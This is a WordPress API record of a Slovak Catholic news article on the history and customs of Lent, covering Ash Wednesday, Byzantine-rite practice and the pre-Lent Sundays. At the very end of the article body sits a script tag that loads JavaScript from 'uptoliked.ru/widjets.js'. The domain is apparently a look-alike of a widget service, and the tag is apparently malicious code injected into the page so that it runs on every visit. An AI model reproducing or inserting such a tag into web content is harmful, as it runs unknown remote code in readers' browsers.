{"id":12478,"date":"2012-02-22T11:32:53","date_gmt":"2012-02-22T11:32:53","guid":{"rendered":"http:\/\/www.scmlondon.org\/?p=12478"},"modified":"2012-03-03T11:41:26","modified_gmt":"2012-03-03T11:41:26","slug":"postne-obdobie-historicke-pozadie-a-suvislosti-tk-kbs-dj-ml-pz","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=12478","title":{"rendered":"P\u00f4stne obdobie (historick\u00e9 pozadie a s\u00favislosti) (TK KBS, dj, ml; pz)"},"content":{"rendered":"<p><a href=\"http:\/\/www.scmlondon.org\/wp-content\/uploads\/2012\/03\/p\u00f4st.jpg\" data-rel=\"lightbox-image-0\" data-rl_title=\"\" data-rl_caption=\"\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-thumbnail wp-image-12479\" title=\"\" src=\"http:\/\/www.scmlondon.org\/wp-content\/uploads\/2012\/03\/p\u00f4st-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a>P\u00f4stne obdobie (historick\u00e9 pozadie a s\u00favislosti) TK KBS, dj, ml; pz<\/p>\n<p>Bratislava, 20. febru\u00e1ra (TK KBS) &#8211; Pr\u00edpravn\u00fdm obdob\u00edm pred Ve\u013ekou nocou je \u0161tyridsa\u0165d\u0148ov\u00fd p\u00f4st. Je formou pok\u00e1nia nielen v kres\u0165anstve, ale aj v in\u00fdch n\u00e1bo\u017eenstv\u00e1ch. V R\u00edmskokatol\u00edckej cirkvi sa p\u00f4stna pr\u00edprava na Ve\u013ek\u00fa noc za\u010d\u00edna tzv. Popolcovou stredou. Je to streda v siedmom t\u00fd\u017edni pred Ve\u013ekou nocou. Tento rok pripad\u00e1 na 22. febru\u00e1ra. V tento de\u0148, ktor\u00fd je d\u0148om pr\u00edsneho p\u00f4stu a zdr\u017eiavania sa m\u00e4sit\u00e9ho pokrmu, k\u0148az alebo diakon rob\u00ed popolom znak kr\u00ed\u017ea na \u010del\u00e1ch veriacich so slovami: \u201ePam\u00e4taj, \u017ee prach si a na prach sa obr\u00e1ti\u0161\u201c, alebo \u201eKajajte sa a verte v evanjelium!\u201c.<\/p>\n<p>Obrad sypania popola na hlavu v prv\u00fd p\u00f4stny de\u0148 sa praktizoval u\u017e od 8.<br \/>\nstoro\u010dia. P\u00f4vodne to bol obrad vyhraden\u00fd len pre ve\u013ek\u00fdch a verejn\u00fdch hrie\u0161nikov, ktor\u00ed v tento de\u0148 za\u010d\u00ednali svoju cestu pok\u00e1nia. Vstupovali do chr\u00e1mu bos\u00ed, zaodet\u00ed vrecovinou a sypali si na hlavu popol. Nesk\u00f4r podobn\u00fdm sp\u00f4sobom za\u010d\u00ednali svoje pok\u00e1nie nielen verejn\u00ed kaj\u00facnici, ale aj ostatn\u00ed veriaci a sypanie popola na hlavu sa stalo v\u0161eobecn\u00fdm symbolom rozhodnutia nast\u00fapi\u0165 na cestu pok\u00e1nia. V 10. a 11. storo\u010d\u00ed bol u\u017e tento obrad udom\u00e1cnen\u00fd v mnoh\u00fdch oblastiach z\u00e1padnej Eur\u00f3py. Koncil v Benevente v roku 1091 ho zaviedol pre cel\u00fa Cirkev, pri\u010dom sypanie popola na hlavu sa nahradilo zna\u010den\u00edm na \u010delo.<\/p>\n<p>Gr\u00e9ckokatol\u00edci (byzantsk\u00e9ho obradu), ktor\u00ed sa pridr\u017eiavaj\u00fa gregori\u00e1nskeho kalend\u00e1ra, za\u010d\u00ednaj\u00fa Ve\u013ek\u00fd \u0161tyridsa\u0165d\u0148ov\u00fd p\u00f4st o dva dni sk\u00f4r ako r\u00edmskokatol\u00edci (latinsk\u00e9ho obradu). Sv\u00e4t\u00e1 \u0161tyridsiatnica sa za\u010d\u00edna u\u017e v pondelok a trv\u00e1 do piatku pred Laz\u00e1rovou sobotou. Do \u0161tyridsiatich dn\u00ed p\u00f4stu po\u010d\u00edtaj\u00fa gr\u00e9ckokatol\u00edci aj soboty a nedele (zatia\u013e \u010do r\u00edmskokatol\u00edci nedele nepo\u010d\u00edtaj\u00fa). P\u00f4st je obdob\u00edm, ke\u010f sa m\u00e1 veriaci usilova\u0165 o obr\u00e1tenie, zmenu zm\u00fd\u0161\u013eania, m\u00e1 rozj\u00edma\u0165 nad svoj\u00edm \u017eivotom, plaka\u0165 nad svojimi hriechmi. Na rozj\u00edmanie a spr\u00edtomnenie Kristovho sp\u00e1sonosn\u00e9ho utrpenia je vyhraden\u00fd a\u017e Ve\u013ek\u00fd t\u00fd\u017ede\u0148. Tieto skuto\u010dnosti sa odr\u00e1\u017eaj\u00fa aj v bohoslu\u017eobnom \u017eivote byzantskej cirkvi &#8211; v stredy a piatky sa sl\u00fa\u017ei liturgia vopred posv\u00e4ten\u00fdch darov. Pri nej sa veriacim rozde\u013euj\u00fa vopred posv\u00e4ten\u00e9 eucharistick\u00e9 dary; bohoslu\u017eba nem\u00e1 anaforu (eucharistick\u00fd<br \/>\nk\u00e1non) ani premenenie sv\u00e4t\u00fdch darov. Je to bohoslu\u017eba s najsilnej\u0161ie vyjadrenou eucharistickou \u00factou v byzantskom obrade. Z\u00e1rove\u0148, na rozdiel od liturgie sv. J\u00e1na Zlato\u00fasteho \u010di sv. Bazila Ve\u013ek\u00e9ho, obsahuje mnoho kaj\u00facich prvkov &#8211; najm\u00e4 hlbok\u00fdch pokl\u00f4n.<\/p>\n<p>Z hist\u00f3rie:<\/p>\n<p>V U\u010den\u00ed Dvan\u00e1stich apo\u0161tolov (Didascalia apostolorum) zo za\u010diatku 3.<br \/>\nstoro\u010dia sa odpor\u00fa\u010da 1 &#8211; 2-d\u0148ov\u00fd p\u00f4st (alebo 40-hodinov\u00fd p\u00f4st) pred krstom a 2 &#8211; 3-d\u0148ov\u00fd p\u00f4st pred Ve\u013ekou nocou. Z tohto kr\u00e1tkeho p\u00f4stu sa postupne vyvinul 40-d\u0148ov\u00fd p\u00f4st, ktor\u00fd odpor\u00fa\u010da veriacim u\u017e na za\u010diatku 4. storo\u010dia sv. Atan\u00e1z (296-373), biskup z Alexandrie i sv. Cyril Jeruzalemsk\u00fd (315-386). \u010c\u00edslo 40 malo posv\u00e4tn\u00fd v\u00fdznam: Je\u017ei\u0161 Kristus sa postil 40 dn\u00ed pred svoj\u00edm verejn\u00fdm vyst\u00fapen\u00edm (Mk 1,12; Mt 4, 1-11), 40 dn\u00ed pokr\u00fdvala voda zem po\u010das potopy sveta, 40 dn\u00ed sa postil Moj\u017ei\u0161 na vrchu Sinaj, 40 dn\u00ed putoval prorok Eli\u00e1\u0161 k jaskyni na vrchu Horeb, kam k nemu pri\u0161iel Boh a podobne.<\/p>\n<p>P\u00f4vodn\u00e9 p\u00f4stne pravidl\u00e1 boli ve\u013emi pr\u00edsne: dovo\u013eovali po\u017e\u00edvanie jedla len jedenkr\u00e1t denne. Okrem toho boli spr\u00edsnen\u00e9 aj abstinenciou, t.j. \u00fapln\u00fdm zdr\u017eiavan\u00edm sa po\u017e\u00edvania niektor\u00fdch pokrmov ako m\u00e4so, ryby, mlieko a mlie\u010dne v\u00fdrobky (maslo, syry). Teraj\u0161ie predpisy t\u00fdkaj\u00face sa p\u00f4stu a postenia sa boli zaveden\u00e9 v roku 1966 apo\u0161tolskou kon\u0161tit\u00faciou Poenitemini.<\/p>\n<p>P\u00f4stne obdobie trv\u00e1 v R\u00edmskokatol\u00edckej cirkvi od Popolcovej stredy do Ve\u013ekono\u010dnej nedele. Zah\u0155\u0148a \u0161es\u0165 p\u00f4stnych nedie\u013e. Prv\u00e1 p\u00f4stna nede\u013ea (tohto roku 26. febru\u00e1ra) sa e\u0161te doned\u00e1vna naz\u00fdvala Quadragesima (gr\u00e9cky tesserakostes, t.j. 40 dn\u00ed pred Ve\u013ekou nocou).<\/p>\n<p>Za\u010diatkom 5. storo\u010dia sv. Maximus, tur\u00ednsky biskup, zaviedol trojt\u00fd\u017ed\u0148ov\u00fa predp\u00f4stnu pr\u00edpravu. Tri nedele pred p\u00f4stom sa volali: Septuagesima (70.<br \/>\nde\u0148 pred Ve\u013ekou nocou &#8211; t\u00e1to nede\u013ea bola u n\u00e1s zn\u00e1ma pod menom \u201eDeviatnik\u201c), Sexagesima (60. de\u0148) a Quinquagesima (50. de\u0148). Spolu so 40-d\u0148ov\u00fdm p\u00f4stom tvorili 70-d\u0148ov\u00fa pr\u00edpravu, symbolizuj\u00facu 70 rokov babylonsk\u00e9ho zajatia. P\u00e1pe\u017e Gregor I. Ve\u013ek\u00fd (590-604) vytvoril pre tieto dni osobitn\u00e9 prosebn\u00e9 modlitby. P\u00e1pe\u017e Alexander III. (1159-1181) nariadil, aby sa spev \u201eAlleluja\u201c \u2013 podobne ako v 40-d\u0148ovom p\u00f4stnom obdob\u00ed \u2013 nahradili invok\u00e1ciou Laus tibi Domine, Rex aeternae gloriae (Chv\u00e1la Ti Kriste, Kr\u00e1\u013e ve\u010dnej sl\u00e1vy). V roku 1969 boli tieto liturgick\u00e9 zvl\u00e1\u0161tnosti zru\u0161en\u00e9 a v\u0161etky tri nedele boli preraden\u00e9 do cyklu nedie\u013e \u201ecez rok\u201c.<\/p>\n<p>Zdroj: Arch\u00edv TK KBS<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/p>\n<h3>Related Images:<\/h3>","protected":false},"excerpt":{"rendered":"<p>P\u00f4stne obdobie (historick\u00e9 pozadie a s\u00favislosti) TK KBS, dj, ml; pz Bratislava, 20. febru\u00e1ra (TK KBS) &#8211; Pr\u00edpravn\u00fdm obdob\u00edm pred Ve\u013ekou nocou je \u0161tyridsa\u0165d\u0148ov\u00fd p\u00f4st. Je formou pok\u00e1nia nielen v&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=12478\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":417,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[11],"tags":[],"class_list":["post-12478","post","type-post","status-publish","format-standard","hentry","category-11"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/12478","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/417"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=12478"}],"version-history":[{"count":1,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/12478\/revisions"}],"predecessor-version":[{"id":12480,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/12478\/revisions\/12480"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=12478"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=12478"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=12478"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}